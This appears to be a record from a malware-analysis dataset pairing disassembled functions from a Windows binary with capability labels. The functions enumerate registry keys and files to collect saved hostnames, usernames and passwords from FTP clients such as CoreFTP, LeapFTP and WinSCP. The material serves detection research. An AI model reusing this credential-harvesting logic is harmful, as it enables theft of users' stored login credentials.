joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406570
Capabilities:
Gather direct-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x406754
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x4065c8
jmp 0x40674c
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push 0x4170c5
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push 0x4170ae
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x4170b7
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x820], eax
push 0
push 0x4170bc
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.HostDirName
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
je 0x4066f4
cmp dword [ebp - 0x814], 0
je 0x4066f4
cmp dword [ebp - 0x818], 0
je 0x4066f4
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x824]
call fcn.004018f6
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.00406570
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40659a
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x406789
Capabilities:
Gather coreftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x4069e6
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x4067e1
jmp 0x4069de
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e8a
mov dword [ebp - 0x810], eax
push 0
push 0x417136
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push 0x417127
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x41712c
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.PthR
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x82c]
push eax
push 0x417131
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x4068b5
cmp dword [ebp - 0x82c], 4
jne 0x4068b5
push dword [eax]
pop dword [ebp - 0x824]
push eax
call fcn.004018f6
jmp 0x4068c9
and eax, eax
je 0x4068bf
push eax
call fcn.004018f6
mov dword [ebp - 0x824], 0x15
lea eax, [ebp - 0x830]
push eax
push 0x41713e
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x81c], 0
je 0x406994
cmp dword [ebp - 0x814], 0
je 0x406994
cmp dword [ebp - 0x818], 0
je 0x406994
push 0xbeef0010
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401609
cmp dword [ebp - 0x828], 0
je 0x40698a
cmp dword [ebp - 0x830], 4
jne 0x40698a
mov eax, dword [ebp - 0x828]
push dword [eax]
push dword [ebp + 8]
call fcn.004015a7
jmp 0x406994
push 0
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x828]
call fcn.004018f6
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x4067b3
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x406a1b
Capabilities:
Gather ftp-explorer information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7cc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x406c9d
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x406a73
jmp 0x406c95
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e8a
mov dword [ebp - 0x810], eax
lea eax, [ebp - 0x834]
push eax
push 0x4171c0
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push 0x4171d6
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push str.Login
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.InitialPath
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x820], eax
lea eax, [ebp - 0x828]
push eax
push 0x4171e1
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x406b46
cmp dword [ebp - 0x828], 4
jne 0x406b46
push dword [eax]
pop dword [ebp - 0x824]
jmp 0x406b50
mov dword [ebp - 0x824], 0x15
push eax
call fcn.004018f6
lea eax, [ebp - 0x830]
push eax
push str.PasswordType
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x406b8a
cmp dword [ebp - 0x830], 4
jne 0x406b8a
push dword [eax]
pop dword [ebp - 0x82c]
jmp 0x406b94
mov dword [ebp - 0x82c], 0
push eax
call fcn.004018f6
cmp dword [ebp - 0x81c], 0
je 0x406be2
cmp dword [ebp - 0x82c], 2
jne 0x406be2
push 0
lea eax, [ebp - 0x834]
push eax
push dword [ebp - 0x81c]
call fcn.00404868
and eax, eax
je 0x406bcd
cmp dword [ebp - 0x834], 0
jne 0x406be2
push dword [ebp - 0x81c]
call fcn.004018f6
mov dword [ebp - 0x81c], 0
cmp dword [ebp - 0x81c], 0
je 0x406c56
cmp dword [ebp - 0x814], 0
je 0x406c56
cmp dword [ebp - 0x818], 0
je 0x406c56
push 0xbeef0002
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x834]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015dd
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x406a45
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x406ea7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40706b
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x406eff
jmp 0x407063
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push 0x417290
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push 0x417280
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x417287
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push str.FtpPort
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x406fbb
cmp dword [ebp - 0x824], 4
jne 0x406fbb
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004018f6
jmp 0x406fcf
and eax, eax
je 0x406fc5
push eax
call fcn.004018f6
mov dword [ebp - 0x820], 0x15
cmp dword [ebp - 0x81c], 0
je 0x40702f
cmp dword [ebp - 0x814], 0
je 0x40702f
cmp dword [ebp - 0x818], 0
je 0x40702f
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x406ed1
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x4070db
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x416169]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x4072cb
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x407133
jmp 0x4072c3
push 0x416141
push dword [ebp + 0xc]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
lea eax, [ebp - 0x828]
push eax
push 0x4172e9
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push str.Hostname
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push str.Username
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
mov dword [ebp - 0x818], eax
lea eax, [ebp - 0x824]
push eax
push 0x4172f2
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x4071f4
cmp dword [ebp - 0x824], 4
jne 0x4071f4
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.004018f6
jmp 0x407208
and eax, eax
je 0x4071fe
push eax
call fcn.004018f6
mov dword [ebp - 0x820], 0x15
cmp dword [ebp - 0x81c], 0
je 0x40728f
cmp dword [ebp - 0x814], 0
je 0x40728f
cmp dword [ebp - 0x818], 0
je 0x40728f
push 0
lea eax, [ebp - 0x828]
push eax
push dword [ebp - 0x81c]
call fcn.00404868
and eax, eax
je 0x40728f
cmp dword [ebp - 0x828], 0
je 0x40728f
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x828]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.004015dd
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x407105
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x407508
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x4076e6
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40755d
jmp 0x4076de
push 0x416141
push dword [ebp + 0x10]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push 0x417371
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push str._Password
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x820], eax
push 0
push str.Server
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x417368
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.Directory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
jne 0x40761e
cmp dword [ebp - 0x820], 0
je 0x407683
cmp dword [ebp - 0x814], 0
je 0x407683
cmp dword [ebp - 0x818], 0
je 0x407683
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x824]
call fcn.004018f6
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407508
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40752f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407733
Capabilities:
Gather fling-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7dc
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x407911
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x407788
jmp 0x407909
push 0x416141
push dword [ebp + 0x10]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push str.FtpPassword
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push str._FtpPassword
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x820], eax
push 0
push str.FtpServer
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push str.FtpUserName
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.FtpDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x824], eax
cmp dword [ebp - 0x81c], 0
jne 0x407849
cmp dword [ebp - 0x820], 0
je 0x4078ae
cmp dword [ebp - 0x814], 0
je 0x4078ae
cmp dword [ebp - 0x818], 0
je 0x4078ae
push 0xbeef0000
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x820]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x824]
call fcn.004018f6
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407733
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x40775a
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x40795e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x407a0d
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumValueA
and eax, eax
je 0x4079b0
jmp 0x407a05
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x810], eax
and eax, eax
je 0x4079f5
cmp dword [ebp - 0x814], 0
je 0x4079f5
push 0xbeef0000
push dword [ebp - 0x814]
push dword [ebp - 0x810]
push dword [ebp + 8]
call fcn.004044a3
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x407985
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x407b22
Capabilities:
Gather direct-ftp information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 0xc]
call fcn.00401eef
and eax, eax
je 0x407bdb
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0
je 0x407b4f
push dword [ebp + 0x10]
push dword [ebp - 4]
call fcn.00401e8a
mov dword [ebp - 4], eax
push str.SharedSettings.ccs
push dword [ebp - 4]
call fcn.00401e36
push eax
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.004044f8
call fcn.004018f6
push str.SharedSettings.sqlite
push dword [ebp - 4]
call fcn.00401e36
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004044f8
call fcn.004018f6
push str.SharedSettings_1_0_5.ccs
push dword [ebp - 4]
call fcn.00401e36
push eax
push 0xbeef0000
push eax
push dword [ebp + 8]
call fcn.004044f8
call fcn.004018f6
push str.SharedSettings_1_0_5.sqlite
push dword [ebp - 4]
call fcn.00401e36
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004044f8
call fcn.004018f6
push dword [ebp - 4]
call fcn.004018f6
leave
ret 0xc
Function at 0x407c54
Capabilities:
Gather leapftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x407dbb
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x407ca9
jmp 0x407db3
push 0x416141
push dword [ebp + 0x10]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push str.InstallPath
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x417556
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x814], 0
je 0x407d40
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004047dd
push 0xbeef0001
push 0x41751c
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.004047dd
cmp dword [ebp - 0x818], 0
je 0x407d79
push 0xbeef0000
push str.sites.dat
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004047dd
push 0xbeef0001
push 0x41751c
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.004047dd
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407c54
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x407c7b
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407f42
Capabilities:
Gather winscp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x4081a4
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x407f97
jmp 0x40819c
push 0x416141
push dword [ebp + 0x10]
call fcn.00401e36
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401e36
mov dword [ebp - 0x810], eax
call fcn.004018f6
push 0
push 0x41755e
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x81c], eax
push 0
push 0x417567
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x814], eax
push 0
push 0x417570
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x824], eax
lea eax, [ebp - 0x820]
push eax
push 0x417589
push dword [ebp - 0x810]
push dword [0x416169]
call fcn.00401daf
and eax, eax
je 0x408065
cmp dword [ebp - 0x820], 4
jne 0x408065
push dword [eax]
pop dword [ebp - 0x828]
push eax
call fcn.004018f6
jmp 0x408079
and eax, eax
je 0x40806f
push eax
call fcn.004018f6
mov dword [ebp - 0x828], 0x15
lea eax, [ebp - 0x830]
push eax
push str.FSProtocol
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401daf
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x408141
cmp dword [ebp - 0x814], 0
je 0x408141
cmp dword [ebp - 0x818], 0
je 0x408141
push 0xbeef0010
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401609
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401609
cmp dword [ebp - 0x82c], 0
je 0x408137
cmp dword [ebp - 0x830], 4
jne 0x408137
mov eax, dword [ebp - 0x82c]
push dword [eax]
push dword [ebp + 8]
call fcn.004015a7
jmp 0x408141
push 0
push dword [ebp + 8]
call fcn.004015a7
push dword [ebp - 0x81c]
call fcn.004018f6
push dword [ebp - 0x814]
call fcn.004018f6
push dword [ebp - 0x818]
call fcn.004018f6
push dword [ebp - 0x824]
call fcn.004018f6
push dword [ebp - 0x82c]
call fcn.004018f6
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407f42
push dword [ebp - 0x810]
call fcn.004018f6
inc dword [ebp - 8]
jmp 0x407f69
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc